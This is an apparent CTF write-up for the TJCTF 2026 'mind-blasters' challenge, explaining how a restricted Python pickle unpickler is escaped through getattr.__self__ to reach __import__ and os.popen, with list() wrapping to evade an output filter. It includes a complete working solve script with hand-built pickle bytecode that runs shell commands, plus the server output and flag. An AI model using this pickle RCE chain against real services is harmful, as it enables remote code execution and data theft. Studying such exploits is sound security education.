mind-blasters
TJCTF 2026
Task: Python pickle deserialization server with RestrictedUnpickler using a strict allowlist of 14 builtins, plus regex output filter stripping flag pattern. Solution: getattr(getattr, '__self__') returns the builtins module, enabling __import__ → os.popen chain; list() wrapping bypasses the regex filter.
$ ls tags/ techniques/
mind-blasters — TJCTF 2026
Description
Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!
Connection:
nc tjc.tf 31420Attachment:server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.
Analysis
RestrictedUnpickler — Allowlist Model
Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:
ALLOWED = { 'type', 'getattr', 'len', 'range', 'str', 'int', 'bytes', 'list', 'dict', 'tuple', 'bool', 'set', 'frozenset', 'bytearray', } class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == 'builtins' and name in ALLOWED: return getattr(builtins, name) raise pickle.UnpicklingError('not allowed')
This means:
- Only the
builtinsmodule is accessible — noos,subprocess,importlib, etc. - Only 14 specific names are allowed — no
eval,exec,__import__,open,license,help, etc. - Any attempt to load a non-allowed class via pickle's
GLOBAL/STACK_GLOBALopcodes raisesUnpicklingError
Output Filter
After deserialization, the server applies a regex to strip the flag:
result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)
Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.
The Critical Vulnerability: getattr.__self__
The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:
>>> getattr.__self__ <module 'builtins' (built-in)> >>> type(getattr.__self__) <class 'module'>
So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:
getattris loaded viafind_class(passes the allowlist check)- The
REDUCEopcode callsgetattr(getattr, '__self__')at runtime - Runtime
getattrcalls do not go throughfind_class— they are normal Python attribute lookups - The returned
builtinsmodule gives unrestricted access to all builtins
This is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.
Output Filter Bypass: list() Wrapping
The regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:
>>> str(list("tjctf{flag}")) "['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"
This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.
Solution
Exploit Chain
The full chain, expressed as nested Python calls:
Step 1: builtins_mod = getattr(getattr, '__self__') → builtins module
Step 2: imp = getattr(builtins_mod, '__import__') → __import__ function
Step 3: os_mod = imp('os') → os module
Step 4: popen_fn = getattr(os_mod, 'popen') → os.popen function
Step 5: popen_obj = popen_fn('cat /flag*') → popen file object
Step 6: read_fn = getattr(popen_obj, 'read') → read method
Step 7: flag_str = read_fn() → flag string
Step 8: result = list(flag_str) → list of chars (filter bypass)
Pickle Bytecode
The payload uses protocol 2 with manual bytecode construction. Key opcodes:
| Opcode | Name | Effect |
|---|---|---|
\x80\x02 | PROTO | Protocol 2 header |
c | GLOBAL | Load builtins.getattr or builtins.list via find_class |
p0 | PUT | Store top of stack in memo slot 0 |
g0 | GET | Push memo slot 0 onto stack |
( | MARK | Start of argument tuple |
V... | UNICODE | Push Unicode string |
t | TUPLE | Build tuple from mark |
R | REDUCE | Call callable with args tuple |
0 | POP | Discard top of stack |
. | STOP | End pickle stream |
Solve Script
#!/usr/bin/env python3 """ Pickle exploit for mind-blasters (TJCTF 2026) Restricted Unpickler allows only: builtins: type, getattr, len, range, str, int, bytes, list, dict, tuple, bool, set, frozenset, bytearray Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern """ import pickle import pickletools import io import base64 import socket import ast def build_payload(cmd='cat /flag*'): """Build pickle bytecode: list(os.popen(cmd).read())""" p = b'\x80\x02' # Protocol 2 # memo[0] = getattr p += b'cbuiltins\ngetattr\np0\n' # memo[1] = getattr(getattr, '__self__') → builtins module p += b'(g0\nV__self__\ntRp1\n0' # memo[2] = getattr(builtins, '__import__') → __import__ p += b'g0\n(g1\nV__import__\ntRp2\n0' # memo[3] = __import__('os') → os module p += b'g2\n(Vos\ntRp3\n0' # memo[4] = getattr(os, 'popen') → os.popen p += b'g0\n(g3\nVpopen\ntRp4\n0' # memo[5] = os.popen('cat /flag*') → file object p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0' # memo[6] = getattr(file_obj, 'read') → read method p += b'g0\n(g5\nVread\ntRp6\n0' # memo[7] = read() → flag string p += b'g6\n(tRp7\n0' # list(flag_string) → list of chars (bypasses regex filter) p += b'cbuiltins\nlist\n(g7\ntR.' return p payload = build_payload() encoded = base64.b64encode(payload) # Disassemble for verification print("=== Pickle Disassembly ===") pickletools.dis(io.BytesIO(payload)) print() # Connect and send sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect(('tjc.tf', 31420)) data = b'' while b'>' not in data: data += sock.recv(4096) sock.sendall(encoded + b'\n') resp = b'' while True: try: chunk = sock.recv(4096) if not chunk: break resp += chunk except socket.timeout: break sock.close() result = resp.decode() print(f'Response: {result}') # Parse list of chars back to flag string if 'Result:' in result: list_str = result.split('Result: ', 1)[1].strip() chars = ast.literal_eval(list_str) flag = ''.join(chars) print(f'\n[+] FLAG: {flag}')
Server Output
=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.
Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']
Reassembled: tjctf{p1ckl3_r1ck_y0u_s0lv3d_h1s_chA11!}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][free]mind blowers— TJCTF 2026
- [misc][free]build-a-builtin-revenge— b01lersc
- [web][Pro]Соленый огурец (Salty Pickle)— hackerlab
- [web][Pro]Lab 13 — WebForge — Insecure Deserialization in Config Import— hackadvisor
- [crypto][free]no-brainrot-allowed— umdctf